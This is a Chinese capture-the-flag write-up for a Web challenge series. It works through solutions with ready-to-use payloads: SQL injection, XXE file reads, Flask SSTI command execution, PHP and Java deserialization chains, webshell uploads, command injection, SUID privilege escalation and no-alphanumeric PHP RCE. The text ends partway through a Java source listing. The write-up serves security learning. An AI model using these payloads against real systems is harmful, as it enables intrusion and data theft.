前言
感觉Web出的特别好,难度层次和知识点都比较全….差个附加挑战就ak了,可惜。
0Web入门指北
你知道什么是控制台吗?快去了解一下吧!
.......]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()(([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]])
给了一堆jsfuck。其实浏览器控制台直接运行即可,但是我浏览器有限制无法允许执行eval的函数。
直接写入文件
console.log(附件内容)

执行即可
moectf{jv@vScr1p7_14_so0o0o0o_inT3r3&t!!!}
01 第一章 神秘的手镯
ctrl+u直接看源码,flag就在js里

02 第二章 初识金曦玄轨
还是看源码

直接浏览器抓包就看到返回了flag

03 第三章 问剑石!篡天改命!

考察的bp使用。抓包后将level改为S,manifestation改为flowing_azure_clouds即可

05 第五章 打上门来!
考点为目录穿越。

10 第十章 天机符阵
直接访问/flag.txt即可。这题非预期了,修复好的解法在revenge
12 第十二章 玉魄玄关·破妄
直接给了一句话木马,hackbar执行即可,flag在环境变量里

16 第十六章 昆仑星途
<?php
error_reporting(0);
highlight_file(__FILE__);
include($_GET['file'] . ".php");
考点为空字符截断。这里用%0A换行符即可。

Moe笑传之猜猜爆
看页面源码
// 猜对后请求flag
fetch('/flag', {method: 'POST'})
.then(res => res.json())
.then(data => {
document.querySelector('.flagResult').textContent = "FLAG: " + data.flag;
});
setGameOver();
}
没有对输入做任何验证
直接hackbar用POST方法请求flag即可。参数随意

01 第一章 神秘的手镯_revenge
这题以为要解密前端JS,半天解不出来,回到前面仔细阅读发现是给了提示的,并不是逆向js的题。吐了耽误我一个小时。以后做题前要好好读题。
题目提示有备份。了解一下常见备份文件名。这里直接访问wanyanzhou.txt.bak发现可以下载文件。
得到万言咒内容,刚好10000个字符。但是要发送500次。直接写js代码在控制台运行一把梭
async function send500Times() {
const textarea = document.getElementById('passwordInput');
const button = document.getElementById('unsealButton');
const resultDiv = document.getElementById('result');
// 清空结果区域
resultDiv.innerHTML = '';
for (let i = 1; i <= 500; i++) {
// 每次清空textarea
textarea.value = '';
// 输入"万言咒"
textarea.value = '内容';
// 触发输入事件(模拟真实输入)
const inputEvent = new Event('input', { bubbles: true });
textarea.dispatchEvent(inputEvent);
// 点击发送按钮
button.click();
console.log(`第 ${i} 次发送: 123`);
// 等待一段时间再发送下一次(模拟人工间隔)
await new Promise(resolve => setTimeout(resolve, 50));
// 检查是否有结果出现(比如flag)
if (resultDiv.innerHTML && resultDiv.innerHTML.includes('flag')) {
console.log('发现flag,停止发送');
break;
}
}
}
// 执行发送
send500Times();
直接运行即可

04 第四章 金曦破禁与七绝傀儡阵
目的是了解bp使用和http协议。

看源码得到路由开始第一关。

get传参通过第一关。并通过源码路由来到第二关。

POST通过第二关,来到第三关。

添加XFF头127.0.0.1,过关

修改UA头,下一关。

添加cookie通过,下一关。

添加Referer头。下一关

PUT方法传参。
将得到的碎片拼接然后base64解密即可
06 第六章 藏经禁制?玄机初探!
考点sql注入,万能密码即可。

07 第七章 灵蛛探穴与阴阳双生符
访问进去,没有任何路由和输入点的提示,尝试访问下robots.txt,得到/flag.php。访问下。
<?php
highlight_file(__FILE__);
$flag = getenv('FLAG');
$a = $_GET["a"] ?? "";
$b = $_GET["b"] ?? "";
if($a == $b){
die("error 1");
}
if(md5($a) != md5($b)){
die("error 2");
}
echo $flag; error 1
md5弱比较.网上一搜一大堆。
payload:url/flag.php?a=QNKCDZO&b=s155964671a
09 第九章 星墟禁制·天机问路
考点为命令执行,管道符|即可,flag在环境变量里
payload:www.baidu.com|cat /proc/self/environ
13 第十三章 通幽关·灵纹诡影

文件上传题。限制了后缀,并且检测文件头。但是后端没有验证。我们bp绕过即可
上传一个shell.php,bp抓包,加上JPG头即可

然后访问/uploads/shell.php。

17 第十七章 星骸迷阵·神念重构
反序列化
<?php
highlight_file(__FILE__);
class A {
public $a;
function __destruct() {
eval($this->a);
}
}
if(isset($_GET['a'])) {
unserialize($_GET['a']);
}
poc:
<?php
highlight_file(__FILE__);
class A {
public $a = 'phpinfo();';
function __destruct() {
eval($this->a);
}
}
echo serialize(new A);

10 第十章 天机符阵_revenge
考点是报错XXE。
基于报错的三层嵌套参数实体XXE payload:
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message ANY>
<!ENTITY % para1 SYSTEM "file:///flag.txt">
<!ENTITY % para '
<!ENTITY % para2 "<!ENTITY &#x25; error SYSTEM 'file:///%para1;'>">
%para2;
'>
%para;
]>
<message>10</message>
14 第十四章 御神关·补天玉碑

对后缀进行了后端过滤,但是服务器为apache,我们可以用.htaccess的解析配置来绕过。
先上传.htaccess文件,内容为
<FilesMatch ".jpg">
SetHandler application/x-httpd-php
</FilesMatch>
意思是将服务器同目录下的.jpg后缀文件解析为php文件。
然后上传shell.jpg。
<?php phpinfo();?>
直接访问即可

18 第十八章 万卷诡阁·功法连环
<?php
highlight_file(__FILE__);
class PersonA {
private $name;
function __wakeup() {
$name=$this->name;
$name->work();
}
}
class PersonB {
public $name;
function work(){
$name=$this->name;
eval($name);
}
}
if(isset($_GET['person'])) {
unserialize($_GET['person']);
}
很简单的链子,没啥好讲的
poc:
<?php
highlight_file(__FILE__);
class PersonA {
private $name;
public function __construct($name) {
$this->name = $name;
}
function __wakeup() {
$name=$this->name;
$name->work();
}
}
class PersonB {
public $name = "phpinfo();";
function work(){
$name=$this->name;
eval($name);
}
}
echo urlencode(serialize(new PersonA(new PersonB())));

19 第十九章 星穹真相·补天归源
<?php
highlight_file(__FILE__);
class Person
{
public $name;
public $id;
public $age;
public function __invoke($id)
{
$name = $this->id;
$name->name = $id;
$name->age = $this->name;
}
}
class PersonA extends Person
{
public function __destruct()
{
$name = $this->name;
$id = $this->id;
$age = $this->age;
$name->$id($age);
}
}
class PersonB extends Person
{
public function __set($key, $value)
{
$this->name = $value;
}
}
class PersonC extends Person
{
public function __Check($age)
{
if(str_contains($this->age . $this->name,"flag"))
{
die("Hacker!");
}
$name = $this->name;
$name($age);
}
public function __wakeup()
{
$age = $this->age;
$name = $this->id;
$name->age = $age;
$name($this);
}
}
if(isset($_GET['person']))
{
$person = unserialize($_GET['person']);
}
代码看起来多,但其实很简单,只要利用personA和personC即可,其他的都没用
链子为personA::destruct–>personC::Check
<?php
highlight_file(__FILE__);
class Person
{
public $name;
public $id;
public $age;
public function __invoke($id)
{
$name = $this->id;
$name->name = $id;
$name->age = $this->name;
}
}
class PersonA extends Person
{
public function __destruct()
{
$name = $this->name;
$id = $this->id;
$age = $this->age;
$name->$id($age);
}
}
class PersonB extends Person
{
public function __set($key, $value)
{
$this->name = $value;
}
}
class PersonC extends Person
{
public function __Check($age)
{
if(str_contains($this->age . $this->name,"flag"))
{
die("Hacker!");
}
$name = $this->name;
$name($age);
}
public function __wakeup()
{
$age = $this->age;
$name = $this->id;
$name->age = $age;
$name($this);
}
}
$a=new PersonA();
$c=new PersonC();
$c->name="system";
$a->name=$c;
$a->id="__Check";
$a->age="cat /f*";
echo serialize($a);

20 第二十章 幽冥血海·幻语心魔
考点ssti,没有任何过滤,直接打即可
payload:{{lipsum.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}
摸金偶遇FLAG,拼尽全力难战胜
2秒内破解20次摩斯密码,考的是python爬虫基本功。
chatgpt一把梭。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
solve_ctf_pycharm.py
适配在 PyCharm 中直接运行的一键脚本。
说明:
- 双击 Run(或点击绿色三角)即可运行,会在 Run 窗口要求输入 base URL / count 等。
- 依赖:requests (若未安装,请在 PyCharm terminal 中运行 `pip install requests`)
- 脚本会把最后一次 /verify 的返回保存到 ctf_result.json
"""
import json
import sys
import time
from typing import Any, Dict, List, Optional
# ---------- 可在此处直接写死默认值(方便快速运行) ----------
DEFAULT_BASE_URL = "" # e.g. "http://challenge.yuanloo.com:39019"
DEFAULT_COUNT = 9
DEFAULT_TRIES = 3
TIMEOUT = 8
RETRY_DELAY = 1.0
OUTPUT_FILE = "ctf_result.json"
HEADERS = {
"User-Agent": "ctf-automator/pycharm/1.0",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Content-Type": "application/json",
}
# ---------- 引入 requests(友好提示) ----------
try:
import requests
except Exception:
print("Error: requests 库未安装。请在 PyCharm 的 Terminal 中运行:")
print(" pip install requests")
sys.exit(1)
def get_challenge(session: requests.Session, base_url: str, count: int) -> Dict[str, Any]:
url = base_url.rstrip("/") + f"/get_challenge?count={count}"
resp = session.get(url, headers=HEADERS, timeout=TIMEOUT)
resp.raise_for_status()
return resp.json()
def verify_solution(session: requests.Session, base_url: str, numbers: List[Any], token: str) -> Any:
url = base_url.rstrip("/") + "/verify"
payload = {"answers": numbers, "token": token}
resp = session.post(url, headers=HEADERS, json=payload, timeout=TIMEOUT)
resp.raise_for_status()
# 尝试解析 JSON,否则返回文本
try:
return resp.json()
except ValueError:
return {"raw": resp.text}
def attempt_once(session: requests.Session, base_url: str, count: int, do_verify: bool = True, verbose: bool = True):
if verbose:
print(f"[+] GET {base_url}/get_challenge?count={count} ...")
data = get_challenge(session, base_url, count)
if verbose:
print("[+] GET response:", json.dumps(data, ensure_ascii=False))
numbers = data.get("numbers")
token = data.get("token")
if numbers is None:
raise RuntimeError("GET 返回没有包含 'numbers' 字段。响应:n" + json.dumps(data, ensure_ascii=False))
if token is None:
raise RuntimeError("GET 返回没有包含 'token' 字段。响应:n" + json.dumps(data, ensure_ascii=False))
if not do_verify:
return {"numbers": numbers, "token": token}
if verbose:
print("[+] POST /verify with received numbers & token ...")
result = verify_solution(session, base_url, numbers, token)
if verbose:
print("[+] /verify 返回:", json.dumps(result, ensure_ascii=False, indent=2) if isinstance(result, dict) else str(result))
return result
def save_output(obj: Any, filename: str = OUTPUT_FILE):
try:
with open(filename, "w", encoding="utf-8") as f:
json.dump(obj, f, ensure_ascii=False, indent=2)
print(f"[+] 已将结果保存至 {filename}")
except Exception as e:
print("[!] 保存结果文件失败:", e)
def prompt_input(prompt: str, default: Optional[str] = None) -> str:
if default:
r = input(f"{prompt} [{default}]: ").strip()
return r if r != "" else default
else:
return input(f"{prompt}: ").strip()
def main():
print("=== CTF 一键破解(PyCharm 版) ===")
base_url = DEFAULT_BASE_URL.strip()
if not base_url:
base_url = prompt_input("请输入目标 base URL(例如 http://challenge.example.com:39019)")
else:
base_url = prompt_input("请输入目标 base URL(按 Enter 使用脚本内默认)", default=base_url)
if not base_url:
print("错误:未提供 base URL,退出。")
return
try:
count_str = prompt_input("请输入要请求的数字长度 count", default=str(DEFAULT_COUNT))
count = int(count_str)
except Exception:
count = DEFAULT_COUNT
try:
tries_str = prompt_input("尝试次数 (tries)", default=str(DEFAULT_TRIES))
tries = int(tries_str)
except Exception:
tries = DEFAULT_TRIES
do_verify_input = prompt_input("是否 POST /verify 获取 flag? (y/n)", default="y")
do_verify = do_verify_input.lower() in ("y", "yes", "1", "true")
session = requests.Session()
# 如果需要先访问首页以获取 cookies / csrf,请取消下面注释:
# try:
# session.get(base_url.rstrip("/") + "/", headers=HEADERS, timeout=TIMEOUT)
# except Exception as e:
# print("[!] 访问首页失败(可忽略),错误:", e)
last_response = None
success = False
for i in range(1, tries + 1):
print(f"n--- 第 {i}/{tries} 次尝试 ---")
try:
res = attempt_once(session, base_url, count, do_verify=do_verify, verbose=True)
last_response = res
# 简单判断是否成功(含 flag/win/correct 字样)
if isinstance(res, dict):
text = json.dumps(res, ensure_ascii=False).lower()
if res.get("correct") is True or "flag" in res or "flag" in text or "correct" in text or "success" in text:
print("[+] 似乎成功了,停止重试。")
success = True
break
else:
# 非 dict 响应
if "flag" in str(res).lower():
print("[+] 似乎成功了(返回文本中包含 flag),停止重试。")
success = True
break
except Exception as e:
print("[!] 本次尝试出现异常:", e)
last_response = {"error": str(e)}
if i < tries:
print(f"[i] 等待 {RETRY_DELAY} 秒后重试...")
time.sleep(RETRY_DELAY)
print("n=== 结束 ===")
if success:
print("[+] 最终结果(已保存):")
else:
print("[-] 未能在指定尝试次数内确认 flag,保存最后一次响应以供分析。")
print(json.dumps(last_response, ensure_ascii=False, indent=2) if isinstance(last_response, dict) else str(last_response))
save_output(last_response, OUTPUT_FILE)
if __name__ == "__main__":
main()
08 第八章 天衍真言,星图显圣
考点是sql的联合注入。显示列数,必须为2,其他情况都报错。
然后爆库
-1' union select database(),2 from flag#
爆表
-1' union select group_concat(table_name),2 from information_schema.tables where table_schema='user'#
最后爆列
-1' union select group_concat(column_name),2 from information_schema.columns where table_name='flag'#
最后爆数据
-1' union select group_concat(value),1 from flag#

11 第十一章 千机变·破妄之眼
省流:HDdss看到了 GET 参数名由m,n,o,p,q这五个字母组成(每个字母出现且仅出现一次),长度正好为 5,虽然不清楚字母的具体顺序,但是他知道参数名等于参数值才能进入。
根据题目描述,我们用bp爆破下。先用python生成字典
from itertools import permutations
params = ['m', 'n', 'o', 'p', 'q']
with open('1.txt', 'w', encoding='utf-8') as f:
for perm in permutations(params):
param_name = ''.join(perm) # 将排列组合成参数名,如"mnopq"
f.write(f"{param_name}n")
print("已生成1.txt文件,包含120个参数组合")
bp模式选择Battering ram,

然后导入字典。开始爆破,爆破后发现有一个length长度不对,打开查看发现就是这个

直接访问find.php。然后伪协议读取即可

php://filter/read=convert.base64-encode/resource=./flag.php
15 第十五章 归真关·竞时净魔

看题目规则猜到是文件上传+条件竞争
参考链接:https://blog.csdn.net/weixin_45588247/article/details/118796606
对着做就行
19 第十九章_revenge
<?php
highlight_file(__FILE__);
class Person
{
public $name;
public $id;
public $age;
}
class PersonA extends Person
{
public function __destruct()
{
$name = $this->name;
$id = $this->id;
$name->$id($this->age);
}
}
class PersonB extends Person
{
public function __set($key, $value)
{
$this->name = $value;
}
public function __invoke($id)
{
$name = $this->id;
$name->name = $id;
$name->age = $this->name;
}
}
class PersonC extends Person
{
public function check($age)
{
$name=$this->name;
if($age == null)
{
die("Age can't be empty.");
}
else if($name === "system")
{
die("Hacker!");
}
else
{
var_dump($name($age));
}
}
public function __wakeup()
{
$name = $this->id;
$name->age = $this->age;
$name($this);
}
}
if(isset($_GET['person']))
{
$person = unserialize($_GET['person']);
}
加了过滤,没啥用,system换成file_get_content即可,flag在环境变量里
POC:
<?php
highlight_file(__FILE__);
class Person
{
public $name;
public $id;
public $age;
}
class PersonA extends Person
{
public function __destruct()
{
$name = $this->name;
$id = $this->id;
$name->$id($this->age);
}
}
class PersonB extends Person
{
public function __set($key, $value)
{
$this->name = $value;
}
public function __invoke($id)
{
$name = $this->id;
$name->name = $id;
$name->age = $this->name;
}
}
class PersonC extends Person
{
public function check($age)
{
$name=$this->name;
if($age == null)
{
die("Age can't be empty.");
}
else if($name === "system")
{
die("Hacker!");
}
else
{
var_dump($name($age));
}
}
public function __wakeup()
{
$name = $this->id;
$name->age = $this->age;
$name($this);
}
}
$a=new PersonA();
$c=new PersonC();
$c->name="file_get_contents";
$c->age="1";
$a->name=$c;
$a->id="check";
$a->age="/proc/self/environ";
echo serialize($a);

21 第二十一章 往生漩涡·言灵死局
from flask import Flask, request, render_template, render_template_string
app = Flask(__name__)
blacklist = ["__", "global", "{{", "}}"]
@app.route('/')
def index():
if 'username' in request.args or 'password' in request.args:
username = request.args.get('username', '')
password = request.args.get('password', '')
if not username or not password:
login_msg = """
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div>
</div>
"""
else:
login_msg = render_template_string(f"""
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-success'>欢迎:{username}</div></div>
</div>
""")
for blk in blacklist:
if blk in username:
login_msg = """
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-fail'>Error</div></div>
</div>
"""
else:
login_msg = ""
return render_template("index.html", login_msg=login_msg)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
过滤了 ["__", "global", "{{", "}}"]。fenjing跑payload即可
{%print ((cycler.next['_'*2+'g''lobals'+'_'*2]['_'*2+'builtins'+'_'*2]['_'*2+'import'+'_'*2]('os')).popen('cat /flag')).read()%}
22 第二十二章 血海核心·千年手段
这题有意思
from flask import Flask, request, render_template, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
if 'username' in request.args or 'password' in request.args:
username = request.args.get('username', '')
password = request.args.get('password', '')
if not username or not password:
login_msg = """
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div>
</div>
"""
else:
login_msg = f"""
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-success'>Welcome: {username}</div></div>
</div>
"""
render_template_string(login_msg)
else:
login_msg = ""
return render_template("index.html", login_msg=login_msg)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
一看好像没啥变化,仔细看是这题考的无回显(没有return)
参考文章:https://www.cnblogs.com/tammy66/articles/18616135#server%E5%9B%9E%E6%98%BE
?username={{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"sys_version",lipsum.__globals__.__builtins__.__import__('os').popen('ls+/').read())}}&password=1

看到有flag但是我们无法读取,需要root权限,但是我们是www-data。所以这题要提权来读取。
先试试suid提权
{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"sys_version",lipsum.__globals__.__builtins__.__import__('os').popen('find+/+-perm+-4000+2>/dev/null').read())}}

看到有个/usr/bin/rev,其他都是正常文件没啥用。我们查看一下这个rev文件

发现还有一个rev.c文件。估计就是rev的源码文件,查看一下

源码拉下来看一下
#include <string.h>
int main(int argc, char **argv) {
for(int i = 1; i + 1 < argc; i++) {
if (strcmp("--HDdss", argv[i]) == 0) {
execvp(argv[i + 1], &argv[i + 1]);
}
}
return 0;
}
果然可以使用,代码意思就是寻找–HDdss参数,这个参数后面的内容当作命令来执行。
最终payload
{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"sys_version",lipsum.__globals__.__builtins__.__import__('os').popen('/usr/bin/rev+--HDdss+cat+/flag').read())}}
这是…Webshell?
<?php
highlight_file(__FILE__);
if(isset($_GET['shell'])) {
$shell = $_GET['shell'];
if(!preg_match('/[A-Za-z0-9]/is', $_GET['shell'])) {
eval($shell);
} else {
echo "Hacker!";
}
}
?>
经典的无字母数字RCE,
具体原理参考链接:https://www.cnblogs.com/pursue-security/p/15404150.html
但是注意这里的PHP版本为5.6.40。

php5.7及以下版本是不支持动态函数调用的,所以用取反和异或都会出现如下报错:
Parse error: syntax error, unexpected ‘(‘ in /var/www/html/index.php(6) : eval()’d code on line 1
所以只能用自增。构造函数并通过赋值来调用。

这是…Webshell?_revenge
<?php
highlight_file(__FILE__);
if (isset($_GET['shell'])) {
$shell = $_GET['shell'];
if (strlen($shell) > 30) {
die("error: shell length exceeded");
}
if (preg_match("/[A-Za-z0-9_$]/", $shell)) {
die("error: shell not allowed");
}
eval($shell);
}
在上一题的基础上加了长度限制,要用到无字母数字的进阶版临时文件上传。
具体原理和做法参考P神文章:无字母数字webshell之提高篇 | 离别歌
首先,我们写个本地文件上传的html文件
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<form action="http://127.0.0.1:4748/" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
其中url改为自己的环境地址。随后点击上传后抓包

然后即可传参
POST /?shell=?><?=`.+/???/????????[@-[]`;?> HTTP/1.1
Host: 127.0.0.1:4748
Content-Length: 306
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoYdAUJdjgRNgmegH
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryoYdAUJdjgRNgmegH
Content-Disposition: form-data; name="file"; filename="1"
Content-Type: application/octet-stream
#!/bin/sh
cat /f*
------WebKitFormBoundaryoYdAUJdjgRNgmegH
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundaryoYdAUJdjgRNgmegH--
因为要匹配,所以多发送几次就能成功了。

23 第二十三章 幻境迷心·皇陨星沉(大结局)
jadx看一下jar包,反序列化链子还是很好找的。
源码:
package com.example.demo.Dog;
import java.io.Serializable;
import java.util.Objects;
/* loaded from: demo.jar:BOOT-INF/classes/com/example/demo/Dog/Dog.class */
public class Dog implements Serializable, DogModel {
private int id;
private String name;
private String breed;
private int age;
private int hunger = 50;
Object object;
String methodName;
Class[] paramTypes;
Object[] args;
public Dog(int id, String name, String breed, int age) {
this.id = id;
this.name = name;
this.breed = breed;
this.age = age;
}
@Override // com.example.demo.Dog.DogModel
public int getId() {
return this.id;
}
@Override // com.example.demo.Dog.DogModel
public void setId(int id) {
this.id = id;
}
@Override // com.example.demo.Dog.DogModel
public String getName() {
return this.name;
}
@Override // com.example.demo.Dog.DogModel
public String getBreed() {
return this.breed;
}
@Override // com.example.demo.Dog.DogModel
public int getAge() {
return this.age;
}
public int getHunger() {
return this.hunger;
}
@Override // com.example.demo.Dog.DogModel
public void feed() {
this.hunger = Math.max(0, this.hunger - 10);
}
public boolean equals(Object o) {
if (this == o) {
return true;
}
if (o == null || getClass() != o.getClass()) {
return false;
}
Dog dog = (Dog) o;
return this.id == dog.id;
}
public int hashCode() {
wagTail(this.object, this.methodName, this.paramTypes, this.args);
return Objects.hash(Integer.valueOf(this.id));
}
}
package com.example.demo.Dog;
import java.lang.reflect.Method;
/* loaded from: demo.jar:BOOT-INF/classes/com/example/demo/Dog/DogModel.class */
public interface DogModel {
int getId();
void setId(int i);
String getName();
String getBreed();
int getAge();
void feed();
default Object wagTail(Object input, String methodName, Class[] paramTypes, Object[] args) {
try {
Class cls = input.getClass();
Method method = cls.getMethod(methodName, paramTypes);
return method.invoke(input, args);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}
package com.example.demo.Dog;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.Base64;
import java.util.Collection;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
/* loaded from: demo.jar:BOOT-INF/classes/com/example/demo/Dog/DogService.class */
public class DogService implements Serializable {
private Map<Integer, Dog> dogs = new HashMap();
private int nextId = 1;
public List<Dog> getAllDogs() {
return new ArrayList(this.dogs.values());
}
public Dog addDog(String name, String breed, int age) {
int i = this.nextId;
this.nextId = i + 1;
Dog dog = new Dog(i, name, breed, age);
this.dogs.put(Integer.valueOf(dog.getId()), dog);
return dog;
}
public Dog feedDog(int id) {
Dog dog = this.dogs.get(Integer.valueOf(id));
if (dog != null) {
dog.feed();
}
return dog;
}
public Dog removeDog(int id) {
return this.dogs.remove(Integer.valueOf(id));
}
public Object chainWagTail() {
Object input = null;
for (Dog dog : this.dogs.values()) {
if (input == null) {
input = dog.object;
}
Object result = dog.wagTail(input, dog.methodName, dog.paramTypes, dog.args);
input = result;
}
return input;
}
public String exportDogsBase64() {
try {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Throwable th = null;
try {
ObjectOutputStream oos = new ObjectOutputStream(baos);
Throwable th2 = null;
try {
try {
oos.writeObject(new ArrayList(this.dogs.values()));
oos.flush();
String encodeToString = Base64.getEncoder().encodeToString(baos.toByteArray());
if (oos != null) {
if (0 != 0) {
try {
oos.close();
} catch (Throwable th3) {
th2.addSuppressed(th3);
}
} else {
oos.close();
}
}
return encodeToString;
} catch (Throwable th4) {
if (oos != null) {
if (th2 != null) {
try {
oos.close();
} catch (Throwable th5) {
th2.addSuppressed(th5);
}
} else {
oos.close();
}
}
throw th4;
}
} finally {
}
} finally {
if (baos != null) {
if (0 != 0) {
try {
baos.close();
} catch (Throwable th6) {
th.addSuppressed(th6);
}
} else {
baos.close();
}
}
}
} catch (IOException e) {
e.printStackTrace();
return "";
}
}
public void importDogsBase64(String base64Data) {
try {
try {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(base64Data));
Throwable th = null;
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Throwable th2 = null;
try {
try {
for (Dog dog : (Collection<Dog>) objectInputStream.readObject()) {
int i = this.nextId;
this.nextId = i + 1;
dog.setId(i);
this.dogs.put(Integer.valueOf(dog.getId()), dog);
}
if (objectInputStream != null) {
if (0 != 0) {
try {
objectInputStream.close();
} catch (Throwable th3) {
th2.addSuppressed(th3);
}
} else {
objectInputStream.close();
}
}
if (byteArrayInputStream != null) {
if (0 != 0) {
try {
byteArrayInputStream.close();
} catch (Throwable th4) {
th.addSuppressed(th4);
}
} else {
byteArrayInputStream.close();
}
}
} catch (Throwable th5) {
if (objectInputStream != null) {
if (th2 != null) {
try {
objectInputStream.close();
} catch (Throwable th6) {
th2.addSuppressed(th6);
}
} else {
objectInputStream.close();
}
}
throw th5;
}
} catch (Throwable th7) {
th2 = th7;
throw th7;
}
} finally {
}
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
}
}
逻辑简单,主要利用点在
package com.example.demo.Dog;
import java.io.Serializable;
import java.util.Objects;
public class Dog implements Serializable, DogModel {
public int hashCode() {
wagTail(this.object, this.methodName, this.paramTypes, this.args);
return Objects.hash(Integer.valueOf(this.id));
}
}
package com.example.demo.Dog;
import java.lang.reflect.Method;
public interface DogModel {
default Object wagTail(Object input, String methodName, Class[] paramTypes, Object[] args) {
try {
Class cls = input.getClass();
Method method = cls.getMethod(methodName, paramTypes);
return method.invoke(input, args);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}
package com.example.demo.Dog;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.Base64;
import java.util.Collection;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
public class DogService implements Serializable {
private Map<Integer, Dog> dogs = new HashMap();
private int nextId = 1;
public List<Dog> getAllDogs() {
return new ArrayList(this.dogs.values());
}
public Object chainWagTail() {
Object input = null;
for (Dog dog : this.dogs.values()) {
if (input == null) {
input = dog.object;
}
Object result = dog.wagTail(input, dog.methodName, dog.paramTypes, dog.args);
input = result;
}
return input;
}
public void importDogsBase64(String base64Data) {
try {
try {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(base64Data));
Throwable th = null;
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Throwable th2 = null;
try {
try {
for (Dog dog : (Collection<Dog>) objectInputStream.readObject()) {
int i = this.nextId;
this.nextId = i + 1;
dog.setId(i);
this.dogs.put(Integer.valueOf(dog.getId()), dog);
}
if (objectInputStream != null) {
if (0 != 0) {
try {
objectInputStream.close();
} catch (Throwable th3) {
th2.addSuppressed(th3);
}
} else {
objectInputStream.close();
}
}
if (byteArrayInputStream != null) {
if (0 != 0) {
try {
byteArrayInputStream.close();
} catch (Throwable th4) {
th.addSuppressed(th4);
}
} else {
byteArrayInputStream.close();
}
}
